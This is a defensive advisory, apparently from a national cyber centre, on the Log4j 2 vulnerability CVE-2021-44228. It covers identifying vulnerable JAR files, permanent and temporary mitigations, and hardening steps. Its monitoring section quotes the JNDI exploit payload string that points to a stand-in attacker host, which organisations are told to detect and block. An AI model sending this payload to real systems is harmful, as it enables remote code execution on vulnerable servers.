Critical Vulnerability on Apache Log4J 2 Library

For technical teams

1. For CVE-2021-44228, NC4 recommends following vendor best practice advice in the mitigation of vulnerabilities. Organisations are advised to identify all the systems that use Log4j 2 directly or indirectly(via software bundle/package) and apply the latest patch released by Apache or respective software as soon as possible. More information is available at: Official source
2. https://logging.apache.org/log4j/2.x/security.html https://logging.apache.org/log4j/2.x/download.html Official source
3. Method to Identify Log4j Version Official source
4. The specific files to search for should match the following pattern: Official source
5. “log4j-core-*.jar” Official source
6. Depending on the installation method, the location of the matching JAR file may also give indications as to which application is potentially vulnerable. For example, on Windows, if the file is located in C:\Program Files\ApplicationName\log4j-core-version.jar it indicates ApplicationName should be investigated. On Linux, the lsof utility can show which processes currently have the JAR file in use and can be run via the following syntax: Official source
7. lsof /path/to/log4j-core-version.jar Official source
8. Monitoring Log4j Exploit and Attack Official source
9. From the web and server logs data in the request, the exploit will contain the malicious payload string: “${jndi:ldap://attacker.com/a}” (where attacker.com is an attacker controlled server). Official source
10. While this method can bypass security appliances by using code obfuscation technique, it is still advisable that organisations block any request using this default payload string to reduce the risk. Official source
11. Permanent Mitigation Official source
12. Upgrade to Log4j 2.15.0. For those who cannot upgrade to 2.15.0: Official source
13. For version 2.10 and above, this vulnerability can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true. For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. Official source
14. If patching is not possible, it is highly advised organisations apply the temporary mitigation below and monitor impacted applications closely for anomalous behavior. Official source
15. Temporary Mitigation Official source
16. To mitigate the vulnerability in place of updating Log4j 2, the following parameter should be set to true when starting the Java Virtual Machine: Official source
17. log4j2.formatMsgNoLookups Official source
18. Organisations are also advised to be vigilant and to take the following actions: Official source
19. Enumerate any external facing devices that have log4j 2 installed; Monitor your infrastructure to detect any associated threat activity; Make sure that your security operations center is actioning every single alert on the devices that fall into the category above; Upgrade your current Log4J 2 version to Log4j version 2.15 or apply your appropriate vendor recommended mitigations immediately; Install a web application firewall (WAF) with rules that automatically update so that your SOC is able to concentrate on fewer alerts; Review your firewall logs and other security devices for anomalies from time to time; Review your firewall and other security appliance configurations from time to time; Block or restrict access to every port such as 81, 2628, 3306, 6669, 3389 (RDP), 5900 (VNC) and 22 (SSH) and services except for those that should be publicly available; Make sure your system password is strong and secured. Change the password if needed; Perform regular backups of all critical information to limit the impact of data or system loss and to help expedite the recovery process. Ideally, the backup must be done daily, on a separate media and stored offline at an alternate site; If you suspected that your servers have been compromised, isolate your server, reset all usernames and passwords and initiate incident handling; Perform hardening on all your Internet facing applications; and Report any anomalies happening within your network and enterprise environment to NC4. Official source